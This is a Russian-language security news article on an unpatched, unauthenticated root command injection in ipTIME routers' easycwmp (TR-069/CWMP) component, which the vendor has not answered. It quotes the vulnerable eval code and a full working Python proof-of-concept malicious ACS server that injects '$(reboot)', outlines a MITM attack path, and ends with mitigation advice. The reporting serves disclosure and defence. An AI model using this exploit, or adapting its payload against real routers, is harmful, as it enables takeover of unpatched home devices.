Написали $(reboot) — и роутер перезагрузился. Миллионы устройств ipTIME беззащитны, патча нет

5650
Написали $(reboot) — и роутер перезагрузился. Миллионы устройств ipTIME беззащитны, патча нет

Вот как выглядит критическая уязвимость, которую никто не чинит.

image

В роутерах ipTIME с прошивкой 15.324 нашли уязвимость, которая позволяет выполнить команду удалённо и без авторизации. Проблема затрагивает CWMP, протокол удалённого управления роутерами, через который провайдеры обычно меняют настройки, проводят диагностику, обновляют прошивку и перезагружают устройства.

Уязвимость обнаружил исследователь parkminchan из SSD Labs Korea. Команда пыталась связаться с ipTIME по нескольким каналам, включая электронную почту и южнокорейское агентство KISA, но ответа от производителя получить не удалось.

Ошибка находится в компоненте easycwmp. В нормальной схеме роутер связывается с ACS-сервером оператора, получает SOAP-сообщение и применяет переданные параметры. Но в прошивке ipTIME значение параметра попадает во временный файл без нормальной проверки, а затем выполняется через оболочку с правами root.

В файле /usr/share/easycwmp/functions/common функция common_set_value_check_param() берёт переданный аргумент, сохраняет его в переменную val и добавляет строку с командой во временный файл:

common_set_value_check_param() {
      local arg="$1" 
      ...
      local val="$arg" // [0]
      ...
      echo "$refparam<delim>$setcmd \"$val\"<delim>$getcmd" >> $set_command_tmp_file // [1]
  }
  ...

Дальше за дело берётся /usr/sbin/easycwmp. Компонент получает SOAP-сообщение от ACS-сервера, читает подготовленный временный файл построчно и извлекает команду, которую нужно применить к параметру:

if [ "$action" = "apply_value" ]; then
      while read line; do
          [ -z "$line" ] && continue
          local setcmd=${line#*<delim>}
          setcmd=${setcmd%<delim>*}
          eval "$setcmd" // [2]
      done < $set_command_tmp_file
  fi
  ...

Опасная часть здесь — eval. Оболочка не просто воспринимает строку как данные, а разбирает её как команду. Поэтому значение параметра вида $(reboot) превращается в системный вызов. Так как easycwmp работает с высокими привилегиями, внедрённая команда запускается от имени root.

Для проверки уязвимости исследователь подготовил вредоносный ACS-сервер. Скрипт на Python отвечает на запрос роутера, отправляет SOAP-команду SetParameterValues и передаёт в параметр InternetGatewayDevice.X_IPTIME.ScheduleReboot.Time полезную нагрузку $(reboot):

#!/usr/bin/env python3
  import sys
  import html
  import http.server
  PAYLOAD = "$(reboot)"
  PORT = 80
  NS = (
      'xmlns:soap_env="http://schemas.xmlsoap.org/soap/envelope/" '
      'xmlns:soap_enc="http://schemas.xmlsoap.org/soap/encoding/" '
      'xmlns:xsd="http://www.w3.org/2001/XMLSchema" '
      'xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" '
      'xmlns:cwmp="urn:dslforum-org:cwmp-1-2"'
  )
  INFORM_RESP = (
      f'<?xml version="1.0"?>'
      f"<soap_env:Envelope {NS}>"
      '<soap_env:Header><cwmp:ID soap_env:mustUnderstand="1">{id}</cwmp:ID></soap_env:Header>'
      "<soap_env:Body><cwmp:InformResponse><MaxEnvelopes>1</MaxEnvelopes></cwmp:InformResponse></soap_env:Body>"
      "</soap_env:Envelope>"
  )
  SET_PARAM = (
      f'<?xml version="1.0"?>'
      f"<soap_env:Envelope {NS}>"
      '<soap_env:Header><cwmp:ID soap_env:mustUnderstand="1">1</cwmp:ID></soap_env:Header>'
      "<soap_env:Body><cwmp:SetParameterValues>"
      '<ParameterList soap_enc:arrayType="cwmp:ParameterValueStruct[1]">'
      "<ParameterValueStruct>"
      "<Name>{name}</Name>"
      '<Value xsi:type="xsd:string">{value}</Value>'
      "</ParameterValueStruct></ParameterList>"
      "<ParameterKey>k</ParameterKey>"
      "</cwmp:SetParameterValues></soap_env:Body>"
      "</soap_env:Envelope>"
  )
  EMPTY = (
      f'<?xml version="1.0"?>'
      f"<soap_env:Envelope {NS}>"
      '<soap_env:Header><cwmp:ID soap_env:mustUnderstand="1">0</cwmp:ID></soap_env:Header>'
      "<soap_env:Body/>"
      "</soap_env:Envelope>"
  )
  sessions = {}
  class Handler(http.server.BaseHTTPRequestHandler):
      def do_POST(self):
          body = self.rfile.read(int(self.headers.get("Content-Length", 0)))
          ip = self.client_address[0]
          step = sessions.get(ip, 0)
          if step == 0 and b"Inform" in body:
              cid = "1"
              if b"<cwmp:ID" in body:
                  i = body.index(b">", body.index(b"<cwmp:ID")) + 1
                  cid = body[i : body.index(b"</", i)].decode(errors="replace")
              sessions[ip] = 1
              self.respond(INFORM_RESP.format(id=cid))
          elif step == 1:
              sessions[ip] = 2
              self.respond(
                  SET_PARAM.format(
                      name=html.escape(
                          "InternetGatewayDevice.X_IPTIME.ScheduleReboot.Time"
                      ),
                      value=html.escape(PAYLOAD),
                  )
              )
          else:
              sessions.pop(ip, None)
              self.respond(EMPTY)
      def respond(self, xml):
          data = xml.encode()
          self.send_response(200)
          self.send_header("Content-Type", "text/xml")
          self.send_header("Content-Length", len(data))
          self.end_headers()
          self.wfile.write(data)
  if __name__ == "__main__":
      http.server.HTTPServer(("", PORT), Handler).serve_forever()

В лабораторной проверке роутер специально настраивали на подключение к вредоносному ACS-серверу. В реальной сети атака может пройти опаснее: если устройство уже использует CWMP и связывается с легитимным сервером провайдера, злоумышленник может попытаться вклиниться в обмен через MITM-атаку и подменить SOAP-команды.

При успешном перехвате атакующий получает возможность передать роутеру собственное значение параметра. Уязвимый easycwmp запишет строку во временный файл, затем выполнит её через eval. В результате команда запустится до входа в административную панель и без знания пароля от устройства.

Пока производитель не выпустил исправление, владельцам уязвимых устройств стоит проверить, используется ли CWMP, ограничить доступ к интерфейсам удалённого управления и по возможности отключить TR-069, если функция не нужна для работы с провайдером.